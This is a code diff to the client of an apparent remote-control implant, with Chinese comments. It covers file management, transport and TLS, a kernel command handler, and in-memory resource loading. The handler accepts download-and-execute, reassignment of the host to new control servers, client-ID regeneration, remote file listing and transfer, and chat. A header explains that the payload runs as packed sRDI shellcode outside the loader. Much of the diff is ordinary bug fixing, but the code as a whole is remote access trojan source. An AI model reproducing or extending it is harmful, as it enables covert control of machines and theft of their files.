case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+67 -8
View File
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty())
if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf);
main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
// 发送驱动器列表, 开始进行文件管理,建立新线程
SendDriveList();
@@ -429,9 +433,14 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
m_nTransferMode = TRANSFER_MODE_NORMAL;
// 展开环境变量 (如 %USERPROFILE%, %DESKTOP% 等)
char szExpandedDir[MAX_PATH];
char szExpandedDir[MAX_PATH] = { 0 }; // 展开失败时保持空串,避免下面的长度判断读未初始化栈
ExpandEnvironmentStringsA(lpszDirectory, szExpandedDir, MAX_PATH);
// 展开失败 / 目录 + "\*.*" + NUL 装不下:按空目录回(放在分配缓冲之前,免得多一条泄漏路径)
if (szExpandedDir[0] == '\0' || lstrlenA(szExpandedDir) + 5 > MAX_PATH) {
return SendListError(ERROR_INVALID_NAME);
}
UINT nRet = 0;
char strPath[MAX_PATH];
char *pszFileName = NULL;
@@ -451,8 +460,8 @@ UINT CFileManager::SendFilesList(LPCTSTR lpszDirectory)
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE) {
BYTE bToken = TOKEN_FILE_LIST;
return Send(&bToken, 1);
// 路径不存在/不可访问:回结构化失败(TOKEN_FILE_LIST_ERROR),不再和「空目录」混为一包。
return SendListError(GetLastError());
}
*lpList = TOKEN_FILE_LIST;
@@ -552,6 +561,10 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
return;
}
// wsprintf 不做边界检查,超长会写穿栈(Debug 版弹 Run-Time Check Failure #2,
// Release 版静默破坏栈)。递归最多 32 层,深度累加很容易超过 MAX_PATH,必须逐层预判。
if (lstrlenA(lpszDirectory) + 5 > MAX_PATH) return; // 目录 + "\*.*" + NUL
char strPath[MAX_PATH];
WIN32_FIND_DATA FindFileData;
@@ -568,6 +581,11 @@ void CFileManager::SearchFilesRecursive(LPCTSTR lpszDirectory, LPCTSTR lpszPatte
BOOL bIsDir = FindFileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
// 单个条目也要预判:全路径装不下就跳过(既不记录也不递归进去),
// 否则下面的 wsprintf 会写穿 szFullPath。
if (lstrlenA(lpszDirectory) + 1 + lstrlenA(FindFileData.cFileName) + 1 > MAX_PATH)
continue;
char szFullPath[MAX_PATH];
wsprintf(szFullPath, "%s\\%s", lpszDirectory, FindFileData.cFileName);
@@ -642,11 +660,21 @@ DWORD WINAPI CFileManager::SearchThreadProc(LPVOID lpParam)
void CFileManager::SearchFiles(LPCTSTR lpszSearchPath, LPCTSTR lpszSearchName)
{
// 展开环境变量
char szExpandedPath[MAX_PATH];
char szExpandedPath[MAX_PATH] = { 0 }; // 展开失败时为空串,递归里直接返回
ExpandEnvironmentStringsA(lpszSearchPath, szExpandedPath, MAX_PATH);
if (szExpandedPath[0] == '\0') { // 展开失败:直接按「0 条结果」结束
SendToken(TOKEN_SEARCH_FILE_FINISH);
return;
}
// 构建搜索模式 (如 *.txt 或 *keyword*)
char szPattern[MAX_PATH];
// 关键字来自网络包,最多 MAX_PATH 字节,加通配符后可能超出 szPattern。
if (lstrlenA(lpszSearchName) + 3 > MAX_PATH) {
SendToken(TOKEN_SEARCH_FILE_FINISH);
return;
}
if (strchr(lpszSearchName, '*') == NULL && strchr(lpszSearchName, '?') == NULL) {
wsprintf(szPattern, "*%s*", lpszSearchName);
} else {
@@ -821,6 +849,32 @@ int CFileManager::SendToken(BYTE bToken)
return Send(&bToken, 1);
}
// 列目录失败的结构化回报:[TOKEN_FILE_LIST_ERROR:1][win32err:4 LE]。
// 服务端(MCP list_files)据此返回「路径不存在/权限不足」,而不是一个空列表。
// 随后再补一个老的 1 字节 TOKEN_FILE_LIST:老服务端不认识新 token,仍按「空目录」处理,
// 行为与改动前完全一致。
UINT CFileManager::SendListError(DWORD dwErr)
{
if (dwErr == 0) dwErr = ERROR_GEN_FAILURE;
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_FILE_LIST_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
int n = Send(pkt, (UINT)sizeof(pkt));
SendToken(TOKEN_FILE_LIST);
return n > 0 ? (UINT)n : 0;
}
// 下载请求无可用文件的结构化回报:[TOKEN_DOWNLOAD_ERROR:1][win32err:4 LE]。
// 走文件管理器子连接(传输子连接此时尚未建立),服务端立即失败而不是等停滞看门狗。
void CFileManager::SendDownloadError(DWORD dwErr)
{
if (dwErr == 0) dwErr = ERROR_FILE_NOT_FOUND;
BYTE pkt[1 + sizeof(DWORD)] = { 0 };
pkt[0] = TOKEN_DOWNLOAD_ERROR;
memcpy(pkt + 1, &dwErr, sizeof(DWORD));
m_ClientObject->Send2Server((char*)pkt, (UINT)sizeof(pkt));
}
bool CFileManager::UploadToRemote(LPBYTE lpBuffer)
{
if (lpBuffer[lstrlen((char *)lpBuffer) - 1] == '\\') {
@@ -1115,19 +1169,23 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
if (remotePaths.empty()) {
Mprintf("[V2] 没有要传输的文件\n");
SendDownloadError(ERROR_INVALID_PARAMETER);
return;
}
// 收集所有文件(展开目录)
std::vector<std::string> allFiles;
std::vector<std::string> rootCandidates; // 用于计算公共根目录
DWORD dwFirstErr = 0; // 首个失败的 win32 码(全部不存在时回传)
for (const auto& remotePath : remotePaths) {
std::string localPath = ExpandPath(remotePath.c_str());
DWORD attrs = GetFileAttributesA(localPath.c_str());
if (attrs == INVALID_FILE_ATTRIBUTES)
if (attrs == INVALID_FILE_ATTRIBUTES) {
if (dwFirstErr == 0) dwFirstErr = GetLastError();
continue;
}
if (attrs & FILE_ATTRIBUTE_DIRECTORY) {
// 目录:递归收集
@@ -1146,7 +1204,8 @@ void CFileManager::UploadToRemoteV2(LPBYTE lpBuffer, UINT nSize)
}
if (allFiles.empty()) {
Mprintf("[V2] 没有找到可传输的文件\n");
Mprintf("[V2] 没有找到可传输的文件 (win32=%lu)\n", dwFirstErr);
SendDownloadError(dwFirstErr);
return;
}
+2
View File
@@ -55,6 +55,8 @@ private:
void CreateFolder(LPBYTE lpBuffer);
void Rename(LPBYTE lpBuffer);
int SendToken(BYTE bToken);
UINT SendListError(DWORD dwErr); // 列目录失败的结构化回报(TOKEN_FILE_LIST_ERROR + win32 码)
void SendDownloadError(DWORD dwErr); // 下载无可用文件的结构化回报(TOKEN_DOWNLOAD_ERROR + win32 码)
void CreateLocalRecvFile(LPBYTE lpBuffer);
void SetTransferMode(LPBYTE lpBuffer);
+48 -1
View File
@@ -227,7 +227,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_DataProcess = NULL;
m_ReconnectFunc = NULL;
m_masker = mask ? new HttpMask(DEFAULT_HOST) : new PkgMask();
#ifdef _DEBUG
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % (HeaderEncV6 + 1)));
#else
auto enc = GetHeaderEncoder(HeaderEncType(time(nullptr) % HeaderEncNum));
#endif
m_EncoderType = encoder;
m_Encoder = encoder ? new HellEncoder(enc, new XOREncoder16()) : new ProtocolEncoder();
#ifdef _WIN32
@@ -463,6 +467,29 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
SetKeepAliveOptions(m_sClientSocket);
#endif
}
#ifdef YAMA_TLS_CHANNEL
// 单向 TLS:证书存在(TlsEnabled())时,在应用协议首包前完成握手;握手失败即断开,
// 不回退明文(fail-closed,防降级)。证书存在但加载失败(TlsLoadError())同样拒绝
// 连接。握手须在 m_bConnected 置位前,确保工作线程不会在握手尚未完成时就开始 recv。
// m_useTls 在这里一次性锁定:Linux 客户端可能在此后收到服务端下发并热切换传输方式,
// 那条连接已建立,本连接的 Send/Recv 必须继续按握手时的传输方式走。
m_useTls = false;
if (TlsLoadError()) {
Mprintf("[TLS] 证书加载失败,拒绝连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
if (TlsEnabled()) {
if (!m_tls.Handshake(m_sClientSocket)) {
Mprintf("[TLS] 握手失败,断开连接(fail-closed)\n");
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
return FALSE;
}
m_useTls = true;
}
#endif
m_bConnected = TRUE;
Mprintf("连接服务端成功: %s:%d.\n", m_sCurIP.c_str(), (int)port);
@@ -526,6 +553,16 @@ DWORD WINAPI IOCPClient::WorkThreadProc(LPVOID lParam)
Sleep(50);
continue;
}
#ifdef YAMA_TLS_CHANNEL
// TLS 会话里可能有已解密、尚未交付的明文(select 只看底层 socket,看不到
// TLS 库内部缓冲),优先消费,避免被 select 卡住。
if (This->HasPendingData()) {
if (!This->ProcessRecvData(&m_CompressedBuffer, szBuffer, MAX_RECV_BUFFER - 1, 0)) {
break;
}
continue;
}
#endif
FD_ZERO(&fd);
FD_SET(This->m_sClientSocket, &fd);
// Linux select() 会修改 timeval,必须每次重置
@@ -632,7 +669,14 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
for (int i = 0; i < 16 && i < (int)bufLen; ++i) {
char tmp[12]; sprintf(tmp, "%02X ", (unsigned char)src[i]); buf += tmp;
}
Mprintf("[ERROR] Unknown header! bufLen=%lu, first 16 bytes: %s\n", bufLen, buf.c_str());
#ifdef YAMA_TLS_CHANNEL
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s (useTls=%d tlsReady=%d)\n",
this, bufLen, buf.c_str(), (int)m_useTls, (int)m_tls.IsReady());
#else
// macOS/Android 没有 TlsChannel(TLS 只在这两个平台之外的客户端实现)
Mprintf("[ERROR] Unknown header! this=%p bufLen=%lu, first 16 bytes: %s\n",
this, bufLen, buf.c_str());
#endif
m_CompressedBuffer->ClearBuffer();
break;
}
@@ -861,6 +905,9 @@ VOID IOCPClient::Disconnect()
closesocket(m_sClientSocket);
m_sClientSocket = INVALID_SOCKET;
#ifdef YAMA_TLS_CHANNEL
m_useTls = false; // 连接已断,Send/Recv 回到明文路径(下次 ConnectServer 重新锁定)
#endif
m_bConnected = FALSE;
}
+32 -1
View File
@@ -11,6 +11,10 @@
#pragma comment(lib,"ws2_32.lib")
#endif
// TLS 通道:Windows 走 Schannel,Linux 走 OpenSSL;macOS/Android 下该头为空,
// 且不定义 YAMA_TLS_CHANNEL,下方代码自动退回明文。
#include "TlsChannel.h"
#include "Buffer.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
@@ -289,14 +293,33 @@ public:
protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags)
{
#ifdef YAMA_TLS_CHANNEL
if (m_useTls)
return m_tls.Recv(m_sClientSocket, buffer, bufSize - 1);
#endif
// TCP版本调用 recv
return recv(m_sClientSocket, buffer, bufSize - 1, 0);
int n = recv(m_sClientSocket, buffer, bufSize - 1, 0);
return n;
}
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual int SendTo(const char* buf, int len, int flags)
{
#ifdef YAMA_TLS_CHANNEL
if (m_useTls)
return m_tls.Send(m_sClientSocket, buf, len);
#endif
return ::send(m_sClientSocket, buf, len, flags);
}
// TLS 会话里可能有已解密但尚未交付的明文(select 只能看到底层 socket 可读性,
// 看不到 TLS 库内部缓冲),接收线程在 select 前须优先消费,避免其被卡住。
bool HasPendingData() const
{
#ifdef YAMA_TLS_CHANNEL
return m_useTls && m_tls.HasPending();
#else
return false;
#endif
}
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength, PkgMask* mask);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(CBuffer *m_CompressedBuffer, char* szBuffer, ULONG ulReceivedLength);
@@ -305,6 +328,14 @@ protected:
protected:
sockaddr_in m_ServerAddr;
SOCKET m_sClientSocket;
#ifdef YAMA_TLS_CHANNEL
TlsChannel m_tls; // TLS 会话(证书存在时才启用,见 TlsChannel.h)
// 本连接是否走 TLS:在 ConnectServer 里握手成功时置位、Disconnect 时清除,Send/Recv
// 一律按这个快照走,不再每次现查 TlsEnabled()。Linux 客户端支持服务端下发后热切换
// 传输方式(TlsReload),若现查全局开关,切换后到重连完成之间的这一秒里会把明文塞进
// 已建立的 TLS 会话(或反过来),白白制造协议错误。
bool m_useTls = false;
#endif
BOOL m_bWorkThread;
HANDLE m_hWorkThread;
BOOL m_bIsRunning;
+147
View File
@@ -0,0 +1,147 @@
// ImageResource.h: 不经加载器,直接从内存中的模块映像读取资源
//
// 加壳部署(EXE + SC_AES/sRDI)下,载荷映像以裸 shellcode 运行、未注册进加载器,
// FindResource/LoadIcon/CreateDialogParamA 这类按 hInstance 找资源的 API 全部失败
// (实测 Win11 返回 err=1812 / 59)。但映像的节(含 .rsrc)是按 PE 布局正常映射
// 的,资源目录里的偏移又都是 RVA,因此可以直接遍历 IMAGE_RESOURCE_DIRECTORY
// 取到资源数据。本文件只读调用方给出的映像,不做任何映射。
//
// 适用:正常 EXE/DLL、MemoryModule 手工映射 DLL、sRDI 包装的 shellcode 载荷。
// 注意:调用方传入的必须是已映射映像的基址(如 &__ImageBase),不是磁盘文件。
//
// 稳定性:所有偏移都按 SizeOfImage / 资源目录大小做越界检查,映像布局异常
// (被第三方加壳改坏、资源被裁剪等)时一律返回 NULL,绝不越界读取。
#ifndef YAMA_IMAGE_RESOURCE_H
#define YAMA_IMAGE_RESOURCE_H
#include <windows.h>
#ifdef __cplusplus
extern "C" const IMAGE_DOS_HEADER __ImageBase;
#endif
// RT_ICON / RT_GROUP_ICON 的数字 ID(与同名 RT_ 宏对应)
#define IMAGE_RES_TYPE_ICON 3
#define IMAGE_RES_TYPE_GROUP_ICON 14
#pragma pack(push, 1)
typedef struct GRPICONDIRENTRY {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wPlanes;
WORD wBitCount;
DWORD dwBytesInRes;
WORD nID;
} GRPICONDIRENTRY;
#pragma pack(pop)
#define IMAGE_RES_DIR_IN_BOUNDS(resOffset, resSize) \
((resOffset) <= (resSize) - sizeof(IMAGE_RESOURCE_DIRECTORY))
#define IMAGE_RES_ENTRY_ARRAY_OK(resOffset, resCount, resSize) \
((resCount) <= ((resSize) - (resOffset) - sizeof(IMAGE_RESOURCE_DIRECTORY)) / sizeof(IMAGE_RESOURCE_DIRECTORY_ENTRY))
// 在已映射映像中查找 type/id(取第一个语言项)的资源数据,返回映像内指针
static const BYTE* FindImageResource(const void* pvImage, WORD nType, WORD nId, DWORD* pdwSize)
{
if (pdwSize) *pdwSize = 0;
if (!pvImage) return NULL;
const BYTE* pBase = (const BYTE*)pvImage;
const DWORD dwLfanew = *(const DWORD*)(pBase + 0x3C);
// 正常 PE 头远小于一页;sRDI 的 CLEARHEADER 只保留 PE 头(e_lfanew 之后),
// 所以这里不能用 MZ 判断,只能靠 e_lfanew 与 PE 签名
if (dwLfanew == 0 || dwLfanew > 0x1000) return NULL;
const PIMAGE_NT_HEADERS pNt = (const PIMAGE_NT_HEADERS)(pBase + dwLfanew);
if (pNt->Signature != IMAGE_NT_SIGNATURE) return NULL;
const DWORD dwImageSize = pNt->OptionalHeader.SizeOfImage;
const DWORD dwResRva = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].VirtualAddress;
const DWORD dwResSize = pNt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_RESOURCE].Size;
if (dwResRva == 0 || dwResSize < sizeof(IMAGE_RESOURCE_DIRECTORY) ||
dwResRva > dwImageSize || dwResSize > dwImageSize - dwResRva) {
return NULL;
}
const BYTE* pRes = pBase + dwResRva;
// 已映射映像:资源目录与数据项偏移都是相对资源节起点的偏移 / RVA
// 目录三层:类型 -> 名称/ID -> 语言
const WORD keys[2] = { nType, nId };
DWORD dwDirOff = 0;
for (int i = 0; i < 2; i++) {
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY* pRd = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
const DWORD dwCount = (DWORD)pRd->NumberOfNamedEntries + pRd->NumberOfIdEntries;
if (!IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwCount, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pEntry = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pRd + 1);
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pFound = NULL;
for (DWORD j = 0; j < dwCount; j++) {
// 只按数字 ID 匹配;命名项(NameIsString)跳过
if (!(pEntry[j].Name & IMAGE_RESOURCE_NAME_IS_STRING) && pEntry[j].Id == keys[i]) {
pFound = &pEntry[j];
break;
}
}
if (!pFound || !pFound->DataIsDirectory) return NULL;
dwDirOff = pFound->OffsetToDirectory;
}
if (!IMAGE_RES_DIR_IN_BOUNDS(dwDirOff, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY* pLangDir = (const IMAGE_RESOURCE_DIRECTORY*)(pRes + dwDirOff);
const DWORD dwLangCount = (DWORD)pLangDir->NumberOfNamedEntries + pLangDir->NumberOfIdEntries;
if (dwLangCount == 0 || !IMAGE_RES_ENTRY_ARRAY_OK(dwDirOff, dwLangCount, dwResSize)) return NULL;
const IMAGE_RESOURCE_DIRECTORY_ENTRY* pLang = (const IMAGE_RESOURCE_DIRECTORY_ENTRY*)(pLangDir + 1);
if (pLang->DataIsDirectory) return NULL;
const DWORD dwDataOff = pLang->OffsetToData;
if (dwDataOff > dwResSize - sizeof(IMAGE_RESOURCE_DATA_ENTRY)) return NULL;
const IMAGE_RESOURCE_DATA_ENTRY* pData = (const IMAGE_RESOURCE_DATA_ENTRY*)(pRes + dwDataOff);
const DWORD dwRva = pData->OffsetToData;
const DWORD dwBytes = pData->Size;
if (dwRva > dwImageSize || dwBytes > dwImageSize - dwRva) return NULL;
if (pdwSize) *pdwSize = dwBytes;
return pBase + dwRva; // OffsetToData 是 RVA
}
// 按图标组(RT_GROUP_ICON)ID 建 HICON:选尺寸最接近 nWidth x nHeight 的一帧,
// 用 CreateIconFromResourceEx 创建。返回的 HICON 由调用方负责 DestroyIcon。
static HICON CreateImageIcon(const void* pvImage, WORD nGroupId, int nWidth, int nHeight)
{
DWORD dwGroupSize = 0;
const BYTE* pGroup = FindImageResource(pvImage, IMAGE_RES_TYPE_GROUP_ICON, nGroupId, &dwGroupSize);
if (!pGroup || dwGroupSize < 6 + sizeof(GRPICONDIRENTRY)) return NULL;
// GRPICONDIR: WORD idReserved, idType, idCount
const WORD nCount = *(const WORD*)(pGroup + 4);
if (*(const WORD*)(pGroup + 2) != 1 || nCount == 0) return NULL;
if (dwGroupSize < 6 + (DWORD)nCount * sizeof(GRPICONDIRENTRY)) return NULL;
const GRPICONDIRENTRY* pBest = NULL;
int nBestDiff = 0x7FFFFFFF;
for (WORD i = 0; i < nCount; i++) {
const GRPICONDIRENTRY* pEntry = (const GRPICONDIRENTRY*)(pGroup + 6 + i * sizeof(GRPICONDIRENTRY));
const int w = pEntry->bWidth ? pEntry->bWidth : 256; // 0 表示 256
const int h = pEntry->bHeight ? pEntry->bHeight : 256;
const int dx = w > nWidth ? w - nWidth : nWidth - w;
const int dy = h > nHeight ? h - nHeight : nHeight - h;
if (dx + dy < nBestDiff) {
nBestDiff = dx + dy;
pBest = pEntry;
}
}
if (!pBest) return NULL;
DWORD dwIconSize = 0;
const BYTE* pIcon = FindImageResource(pvImage, IMAGE_RES_TYPE_ICON, pBest->nID, &dwIconSize);
if (!pIcon || dwIconSize == 0) return NULL;
return (HICON)CreateIconFromResourceEx((PBYTE)pIcon, dwIconSize, TRUE, 0x00030000,
nWidth, nHeight, LR_DEFAULTCOLOR);
}
#endif // YAMA_IMAGE_RESOURCE_H
+363 -2
View File
@@ -10,6 +10,7 @@
#include <fstream>
#include <corecrt_io.h>
#include "ClientDll.h"
#include "ActivityHistory.h"
#include "MemoryModule.h"
#include "common/dllRunner.h"
#include "server/2015Remote/pwd_gen.h"
@@ -822,11 +823,54 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopClientLogManager, &m_hThread[m_ulThreadCount], 0, NULL);
break;
}
case COMMAND_QUERY_ACTIVITY: {
// 主连接一次性快照:直接 dump 历史活动并回传
std::string text = ActivityHistory::Instance().Dump();
std::vector<BYTE> pkt(1 + text.size());
pkt[0] = TOKEN_REPORT_ACTIVITY;
if (!text.empty())
memcpy(pkt.data() + 1, text.data(), text.size());
m_ClientObject->Send2Server((char*)pkt.data(), (ULONG)pkt.size());
break;
}
case CMD_SET_GROUP: {
std::string group = std::string((char*)szBuffer + 1);
m_cfg->SetStr("settings", "group_name", group);
break;
}
case COMMAND_REGEN_CLIENT_ID: {
// 撞 ID 的克隆机:服务端已判定「主机名不同却撞 client_id」,让本机重生成 ID。
// 新 ID = 旧 ID + 随机 UUID 再哈希,写回注册表后主动断开主连接,重连循环
// 会用新 ID 重新登录,脱离撞 ID 状态(脱离替补、正常显示在主机列表)。
uint64_t newID = RegenerateClientID(m_conn->clientID);
m_cfg->SetStr("settings", "client_id", std::to_string(newID));
Mprintf("[regen-client-id] 重生成 client_id: %llu -> %llu,即将重连\n",
m_conn->clientID, newID);
if (m_ClientObject)
m_ClientObject->Disconnect();
break;
}
case COMMAND_TLS_ENABLE: {
// 服务端下发信任锚证书:payload = PEM 正文(szBuffer+1 .. ulLength-1)。
// 写入注册表 settings\tls_cert,客户端下次启动读到证书即启用 TLS(非实时)。
if (ulLength > 1) {
std::string certPem((char*)szBuffer + 1, ulLength - 1);
m_cfg->SetStr("settings", "tls_cert", certPem);
}
break;
}
case COMMAND_TLS_DISABLE: {
// 删除注册表信任锚,客户端下次启动无证书即回明文(非实时)。
std::string subKey = GetRegistryName() + "\\settings";
HKEY hKey = NULL;
if (RegOpenKeyExA(GetCurrentUserRegistryKey(), subKey.c_str(), 0,
KEY_SET_VALUE, &hKey) == ERROR_SUCCESS) {
RegDeleteValueA(hKey, "tls_cert");
RegCloseKey(hKey);
}
break;
}
case COMMAND_DOWN_EXEC: {
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
@@ -1008,6 +1052,15 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
case COMMAND_SHARE:
case COMMAND_ASSIGN_MASTER:
if (ulLength > 2) {
// 解析末尾协议段(Shine=0 / HELL=1,旧命令无此段则 -1 沿用烘焙值)
int shareProto = -1;
{
auto pv = StringToVector((char*)szBuffer + 2, ':', 5);
if (szBuffer[1] == SHARE_TYPE_YAMA && pv.size() >= 3 && (pv[2] == "0" || pv[2] == "1"))
shareProto = atoi(pv[2].c_str());
else if (szBuffer[1] == SHARE_TYPE_YAMA_FOREVER && pv.size() >= 4 && (pv[3] == "0" || pv[3] == "1"))
shareProto = atoi(pv[3].c_str());
}
switch (szBuffer[1]) {
case SHARE_TYPE_YAMA_FOREVER: {
auto v = StringToVector((char*)szBuffer + 2, ':', 3);
@@ -1018,6 +1071,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (now <= valid_to) break; // Avoid assign again
m_cfg->SetStr("settings", "master", v[0]);
m_cfg->SetStr("settings", "port", v[1]);
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
m_cfg->SetStr("settings", "master_proto", std::to_string(shareProto));
float days = atof(v[2].c_str());
if (days > 0) {
auto valid_to = time(0) + days*86400;
@@ -1036,6 +1091,8 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
if (v[0].empty() || v[1].empty())
break;
auto share = v[0] + ":" + v[1];
if (shareProto == PROTOCOL_SHINE || shareProto == PROTOCOL_HELL)
share += ":" + std::to_string(shareProto);
auto list = m_cfg->GetStr("settings", "share_list");
auto shareList = list.empty() ? std::vector<std::string>{} : StringToVector(list, '|');
if (VectorContains(shareList, share)) break;
@@ -1043,7 +1100,7 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
m_cfg->SetStr("settings", "share_list", VectorJoin(shareList, '|'));
Mprintf("Share client to new master: %s\n", share.c_str());
}
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE);
auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE, shareProto);
if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
break;
}
@@ -1089,6 +1146,13 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
mgr->EnableOfflineRecord(TRUE);
}
Logger::getInstance().usingLog(m_settings.EnableLog);
// 主控端经 MasterSettings 下发文件传输速度(TransferChunkKb 非 0 表示已下发,
// 0 表示老主控未携带,保留本地默认值)。写入 [transfer] 节,供各 InitFileUpload
// 调用点经 GetTransferSpeed 读取。
if (m_settings.TransferChunkKb) {
m_cfg->SetInt("transfer", "ChunkKb", m_settings.TransferChunkKb);
m_cfg->SetInt("transfer", "DurationMs", m_settings.TransferDurationMs);
}
}
if (IsAuthKernel() &&
(m_settings.FeedbackUrl[0] || m_settings.HelpUrl[0] || m_settings.RequestAuthUrl[0] || m_settings.GetPluginUrl[0])) {
@@ -1129,6 +1193,60 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case COMMAND_CHAT: { // 远程交谈(双向聊天)
if (!ENABLE_MESSAGE) {
return ResponseDisable(m_ClientObject, "CHAT", szBuffer + 1, ulLength - 1);
}
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount].user = m_hInstance;
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopChatManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_MACHINE_MANAGE: { // 主机管理
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
m_hThread[m_ulThreadCount].p = sub;
}
m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopMachineManager, &m_hThread[m_ulThreadCount], 0, NULL);;
break;
}
case COMMAND_FILE_MANAGER_PLUGIN: { // 插件文件管理(SimplePlugins 迁移)
{
auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
